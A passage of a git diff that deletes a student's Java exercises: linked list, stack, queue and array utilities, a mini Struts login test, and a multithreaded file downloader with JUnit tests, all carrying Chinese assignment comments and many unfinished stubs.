-		}
-		if(index==(this.point+1)){
-			pointlast(index, o);
-			return;
-		}
-		//head不等于空，先从head顺序往下找
-		this.point = 0;
-		if(index == this.point){
-			Node next = head;
-			head = new Node();
-			head.next = next;
-			head.data = o;
-			node = head;//当前节点为head
-			this.point = index;
-			size++;
-			return;
-		}
-		do{
-			if(index==(this.point+1)){
-				pointlast(index, o);
-				return;
-			}
-			node = node.next;
-			this.point++;
-		}while(index>(this.point+1));
-		
-	}
-
-	private void pointlast(int index, Object o) {
-		if(index==(this.point+1)){
-			if(index==size){//index插入List结尾
-				this.point = this.point+1;
-				node = node.next;
-				node.data=o;
-				node.next = new Node();
-				size++;
-				return;
-			}
-			this.point = this.point+1;
-			Node next = node.next;//从上一个node获取下一个node
-			node.next = new Node();//上一个节点指向新建节点
-			node = node.next;//获取新建节点
-			node.data=o;//新建节点获取值
-			node.next = next;//新建节点指向下一个节点
-			size++;
-			return;
-		}
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
deleted file mode 100644
index c04de32a93..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.skomefen.list;
-
-public class LinkedListiterator implements Iterator {
-
-	private LinkedList link = null;
-	private int index = 0;
-	public LinkedListiterator(LinkedList link) {
-		this.link = link;
-	}
-	public boolean hasNext() {
-		if(link==null){
-			return false;
-		}
-		if(index<link.size()){
-			return true;
-		}
-		return false;
-	}
-
-	public Object next() {
-	
-		return link.get(index++);
-		
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
deleted file mode 100644
index bccc479faf..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.skomefen.list;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
deleted file mode 100644
index 197bf72cbe..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.skomefen.list;
-
-public class Queue {
-	ArrayList elementData = new ArrayList(); 
-	public void enQueue(Object o){	
-		elementData.add(o);
-	}
-	
-	public Object deQueue(){
-		
-		if(elementData.size()!=0)
-			return elementData.remove(0);
-		return null;
-		
-	}
-	
-	public boolean isEmpty(){
-		if(elementData.size()==0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
deleted file mode 100644
index 088058fa3b..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.skomefen.list;
-
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		return elementData.remove(elementData.size()-1);
-	}
-	
-	public Object peek(){
-		return elementData.get(elementData.size()-1);
-	}
-	public boolean isEmpty(){
-		if(elementData.size()==0)
-			return true;
-		return false;
-	}
-	public int size(){
-		return elementData.size();
-	}
-	
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
deleted file mode 100644
index dd10439beb..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package com.skomefen.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import com.skomefen.list.ArrayList;
-import com.skomefen.list.Iterator;
-import com.skomefen.list.LinkedList;
-import com.skomefen.list.Queue;
-import com.skomefen.list.Stack;
-
-
-
-
-
-
-public class test {
-
-	@Test
-	public void arrayListTest() {
-		ArrayList array = new ArrayList();
-		for(int i=0;i<200;i++){
-			array.add(""+i);
-		}
-		System.out.println(array);
-		for(int i=0;i<200;i++){
-			array.add(i,""+(i+1));
-		}
-		System.out.println(array);
-
-		array = new ArrayList();
-		array.add(1);
-		array.add(3);
-		array.add(4);
-
-		array.add(1,2);
-		System.out.println(array);
-		System.out.println(array.get(2));
-		System.out.println(array.size());
-
-		System.out.println(array.remove(2));
-		System.out.println(array);
-		
-		Iterator iterator = array.iterator();
-		while(iterator.hasNext()){
-			System.out.println(iterator.next());
-		}
-	}
-	
-	@Test
-	public	void StackTest(){
-		Stack s = new Stack();
-		System.out.println(s.isEmpty());
-		s.push("1");
-		s.push("2");
-		s.push("3");
-		System.out.println(s.peek());		
-		System.out.println(s.size());
-
-		System.out.println(s.pop());
-		System.out.println(s.peek());
-		System.out.println(s.size());
-		System.out.println(s.isEmpty());
-		
-
-	}
-	
-	@Test
-	public void QueueTest(){
-		Queue queue = new Queue();
-		queue.enQueue(1);
-		queue.enQueue(2);
-		queue.enQueue(3);
-		
-		assertEquals(false,queue.isEmpty());
-		assertEquals(3, queue.size());
-		assertEquals(1,queue.deQueue());
-		assertEquals(2,queue.deQueue());
-		assertEquals(1, queue.size());
-		assertEquals(3,queue.deQueue());
-		assertEquals(true,queue.isEmpty());
-
-	}
-	
-	@Test
-	public void LinkedListTest(){
-		LinkedList link = new LinkedList();
-		for(int i=0;i<10;i++){
-			link.add(""+i);
-		}
-		for(int i=0;i<10;i++){
-			System.out.println(link.get(i));
-		}
-		System.out.println(link);
-		System.out.println(link.remove(0));
-		System.out.println(link.remove(1));
-		Iterator iterator = link.iterator();
-		while(iterator.hasNext()){
-			System.out.print(iterator.next()+",");
-		}
-		link.add(0,1.1);
-		link.add(1,1.2);
-		System.out.println(link);
-		
-		
-		
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
deleted file mode 100644
index f1d0af35b9..0000000000
--- a/group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.coderising.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		int[] reverse = new int[origin.length];
-		for(int i=0;i<reverse.length;i++){
-			reverse[i]=origin[origin.length-i];
-		}
-		for(int i=0;i<reverse.length;i++){
-			reverse[i]=origin[i];
-		}
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		int rz[]=null;
-		int index = 0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				index++;
-			}
-		}
-		rz = new int[index];
-		index=0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				rz[index]=oldArray[i];
-				index++;
-			}
-		}
-		return rz;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java b/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index 847b3ae7d4..0000000000
--- a/group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.litestruts;
-
-
-
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-       
-	
-        View view = Struts.runAction(actionName,params);
-	 
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一�?
-        
-
-        View view = Struts.runAction(actionName,params);
-	   
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 66024b0ccf..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coderising.download;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.concurrent.locks.Lock;
-import java.util.concurrent.locks.ReentrantLock;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	private Connection conn;
-	private int startPos;
-	private int endPos;
-	private byte[] b = null;
-	private static Lock lock = new ReentrantLock();
-	private static int index=0;
-	
-	static FileOutputStream file = null;
-	static{
-		try {
-			file = new FileOutputStream(new File("e://readme.txt"));
-		} catch (FileNotFoundException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-	}
-	
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		try {
-			this.b =  conn.read(startPos, endPos);
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-			throw new RuntimeException();
-		}finally{
-			conn.close();
-		}
-
-	}
-	public void  run(){	
-		if(lock.tryLock()){
-			if(index==startPos){
-				try {
-					if (file!=null) {
-						file.write(b);
-					}
-					index=endPos+1;
-				} catch (IOException e) {
-					e.printStackTrace();
-					throw new RuntimeException();
-				}
-	
-			}else{
-				lock.unlock();
-			}
-		}
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index ed4a1cf9a1..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,89 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			if(length%3==0){
-				for(int i=1;i<=3;i++){
-					int startPos = length/3*i-1;
-					int endPos = length/3*(i-1);
-					new DownloadThread(conn, endPos, startPos).start();
-				}
-			}else{
-				for(int i=1;i<=2;i++){
-					
-					int startPos = length/3*(i-1);
-					int endPos = length/3*i-1;
-					new DownloadThread(conn, startPos, endPos).start();
-				}
-				int startPos = length/3*2;
-				new DownloadThread(conn, startPos, length).start();
-			}
-			
-			listener.notifyFinished();
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index ce99026d2b..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 3982b8e310..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 * 
-	 */
-	public void close();
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index ae639d2651..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,143 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.URL;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-	
-	private String url = null;
-	private InputStream in = null;
-
-
-	public ConnectionImpl(String url) {
-		this.url = url;
-		
-		
-	}
-
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		try {
-			if(url==null||url.trim()==""){
-				return null;
-			}
-			
-			URL u = new URL(url);
-			in = u.openStream();
-			
-			
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-		
-		if(in==null){
-			return null;
-		}
-		byte[] read = insert(startPos, endPos);
-
-		return read;
-	}
-
-	private byte[] insert(int startPos, int endPos) throws IOException {
-		byte[] b = new byte[1024];
-		int len = 0;
-		int index = 0;
-		byte[] read = new byte[endPos-startPos+1];
-		
-		while((len=in.read(b))>0){
-			if((index+1024)<=startPos){
-				index+=1024;
-				continue;
-			}
-			
-			if(index<=startPos&&startPos<(index+1024)){
-				
-				if(endPos<(index+1024)){
-					for(int i=0,j=startPos-index;i<read.length;i++,j++){
-						read[i]=b[j];
-					}
-					index+=1024;
-					break;
-				}else{
-				
-					for(int i=0,j=startPos-index;i<(index+1024-startPos);i++,j++){
-						read[i]=b[j];
-					}
-				}
-				
-			}
-			
-			if(startPos<index){
-				
-				if(endPos<(index+1024)){
-					for(int i=0,j=index-startPos;i<(endPos-index+1);i++,j++){
-						read[j] = b[i];
-					}
-					index+=1024;
-					break;
-
-				}
-				
-				for(int i=0,j=index;i<1024;i++,j++){
-					read[j] = b[i];
-				}
-				
-			}
-			
-			
-			index+=1024;
-		}
-		return read;
-	}
-
-	public int getContentLength() {
-		
-		if(url==null||url.trim()==""){
-			return 0;
-		}
-		
-		try{
-		
-		URL u = new URL(url);
-		in = u.openStream();
-		if(in==null){
-			return 0;
-		}
-		int length = in.available();
-		return length;
-		}catch(Exception e){
-			e.printStackTrace();
-			throw new RuntimeException();
-		}finally{
-			try {
-				if(in!=null){
-					in.close();
-				}
-			} catch (IOException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-		}
-		
-	}
-
-	public void close() {
-		
-
-		try {
-			if(in!=null){
-				in.close();
-			}
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index a338036bf8..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,16 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	Connection conn = null;
-	
-	public Connection open(String url) throws ConnectionException {
-		
-		return conn = new ConnectionImpl(url);
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
deleted file mode 100644
index dcd1254a2a..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * 
- */
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.MalformedURLException;
-import java.net.URL;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.impl.ConnectionImpl;
-
-/**
- * @author Oliver
- *
- */
-public class ConnectionImplTest {
-	
-	Connection conn = null;
-	InputStream in = null;
-	
-	@Before
-	public void setUp() throws Exception {
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		conn = new ConnectionImpl(url);
-		
-		URL u = new URL(url);
-		in =  u.openStream();
-	}
-
-	
-	@After
-	public void tearDown() throws Exception {
-	}
-
-
-	@Test
-	public void testRead() throws IOException {
-		
-		byte[] connbuffer = conn.read(0, 99);
-		Assert.assertEquals(100, connbuffer.length);
-		byte[] connbuffer2 = conn.read(0, 99);
-		Assert.assertArrayEquals(connbuffer,connbuffer2);
-		
-		
-		byte[] b = new byte[100];
-		in.read(b);
-
-		Assert.assertArrayEquals(b, conn.read(0, 99));
-		
-		byte[] b1 = new byte[50];
-		for(int i=0;i<50;i++){
-			b1[i]=b[50+i];
-		}
-		
-		Assert.assertArrayEquals(b1, conn.read(50, 99));
-		
-		
-
-	}
-
-
-	@Test
-	public void testGetContentLength() throws Exception {
-		
-		byte[] b = new byte[1024];
-		int len = 0;
-		int count = 0;
-		while((len=in.read(b))>0){
-			count+=len;
-		}
-		Assert.assertEquals(count, conn.getContentLength());
-		
-	}
-
-
-	@Test
-	public void testClose() {
-		conn.close();
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
deleted file mode 100644
index 589c1bf1d2..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.impl.ConnectionImpl;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class ConnectionManagerImplTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-
-	@Test
-	public void testOpen() throws ConnectionException {
-		ConnectionManager cm = new ConnectionManagerImpl();
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		Connection conn = cm.open(url);
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
deleted file mode 100644
index 5ae230e97b..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package junit.test;
-
-import static org.junit.Assert.*;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-
-
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.DownloadThread;
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class DownloadThreadTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void testRun() throws ConnectionException, IOException {
-		ConnectionManager cm = new ConnectionManagerImpl();
-		String url = "http://localhost:8080/TimeCapsule/readme.txt";
-		Connection conn = cm.open(url);
-		DownloadThread dt = new DownloadThread(conn, 0, conn.getContentLength());
-		dt.start();
-		
-		File file = new File("e://readme.txt");
-		FileInputStream in  = new FileInputStream(file);
-		byte[] b = new byte[10];
-		int len = 0;
-		ArrayList<byte[]> a = new ArrayList<byte[]>();
-		while((len=in.read(b))>0){
-			a.add(b);
-		}
-
-		int length = conn.getContentLength();
-		if(length%3==0){
-			for(int i=1;i<=3;i++){
-				int startPos = length/3*i-1;
-				int endPos = length/3*(i-1);
-				new DownloadThread(conn, endPos, startPos).start();
-			}
-		}else{
-			for(int i=1;i<=2;i++){
-				
-				int startPos = length/3*(i-1);
-				int endPos = length/3*i-1;
-				new DownloadThread(conn, startPos, endPos).start();
-			}
-			int startPos = length/3*2;
-			new DownloadThread(conn, startPos, length).start();
-		}
-		
-		file = new File("e://readme.txt");
-		in  = new FileInputStream(file);
-		b = new byte[10];
-		len = 0;
-		ArrayList<byte[]> a1 = new ArrayList<byte[]>();
-		while((len=in.read(b))>0){
-			a1.add(b);
-		}
-		for(int i = 0;i<a.size()||i<a1.size();i++){
-			Assert.assertArrayEquals(a.get(i), a1.get(i));
-		}
-		
-	}
-
-}
